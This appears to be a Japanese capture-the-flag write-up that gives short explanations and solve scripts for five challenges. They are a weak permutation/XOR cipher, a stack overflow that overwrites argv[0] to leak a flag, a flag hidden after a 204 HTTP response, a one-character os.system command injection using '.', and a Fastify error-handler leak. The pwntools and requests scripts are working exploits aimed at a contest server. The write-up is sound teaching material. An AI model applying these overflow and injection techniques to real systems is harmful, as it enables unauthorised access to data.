Index
暗号化の各ラウンドは鍵とのXORと置換なので、32 ラウンドまとめても置換とXORの合成に潰れる。 ※置換はXORに対して線形(P(a⊕b)=P(a)⊕P(b))
したがって暗号化関数全体は encrypt(pt) = P^32(pt) xor const の形になる。
00...00 を 1 回だけ暗号化すると const がそのまま得られるので、最初に表示される CHALLENGE から XOR で外し、
P^32 を逆にたどれば元の CHALLENGE を復元できる。
from pwn import context, remote
context.log_level = "error"
PERM = [23, 0, 10, 6, 16, 21, 30, 3, 2, 15, 31, 29, 8, 18, 13, 25, 26, 1, 11, 4, 17, 20, 5, 14, 9, 12, 22, 19, 7, 28, 27, 24]
io = remote("34.170.146.252", 30351)
text = io.recvuntil(b"pt: ").decode()
challenge_ct = bytes.fromhex(text.split("CHALLENGE: ")[1].splitlines()[0])
io.sendline(b"00" * 32)
zero_ct = bytes.fromhex(io.recvline().strip().decode())
x = bytes(a ^ b for a, b in zip(challenge_ct, zero_ct))
challenge = bytearray(32)
for i, src in enumerate(PERM):
challenge[src] = x[i]
io.recvuntil(b"pt: ")
io.sendline(b"guess")
io.recvuntil(b"challenge: ")
io.sendline(bytes(challenge).hex().encode())
print(io.recvall().decode())
scanf("%[^\\n]", password) の BOF には canary があるが、argv[0] の実体は初期スタック上にある。
password から約 0x198 byte 上にある argv[0] スロットを g_flag (0x404040) に書き換えると、
canary check の前に呼ばれる printf("%s: Auth NG\\n", argv[0]) が flag をそのまま表示する。
※gefでargv, telescopeコマンドなどで見つけられます
from pwn import p64, remote
io = remote("34.170.146.252", 19608)
io.recvuntil(b"Password: ")
io.sendline(b"A" * 0x198 + p64(0x404040))
print(io.recvall().decode("latin1"))
/ は 204 No Content と Content-Length: 0 を返すが、実装では end_headers() の後にそのまま flag を write() している。
そのため一般的な HTTP client は body を捨てるが、raw socket で HTTP レスポンス全体を読めばヘッダの後ろに flag が残っている。
printf "GET / HTTP/1.1\\r\\n\\r\\n" | nc <host> <port>
os.system(f"{input(\\"> \\")[:1]} /app/flag.txt") なので使うのは 1 文字。
色々試したところ見つかったのが . で、これは shell builtin の source であり、/app/flag.txt をシェルスクリプトとして読みにいく。
そのままエラーに flag が漏れるという仕組みだった。
route 自体は常に同じ HTML を返すが、Fastify は handler に入る前に request body を parse する。
そのため Content-Type: application/json を付けて壊れた JSON を POST すると body parser が例外を投げ、
setErrorHandler((error) => process.env.FLAG) がそのまま flag を返す。
import requests
r = requests.post(
"<http://34.170.146.252:43880/>",
data="{",
headers={"Content-Type": "application/json"},
)
print(r.text)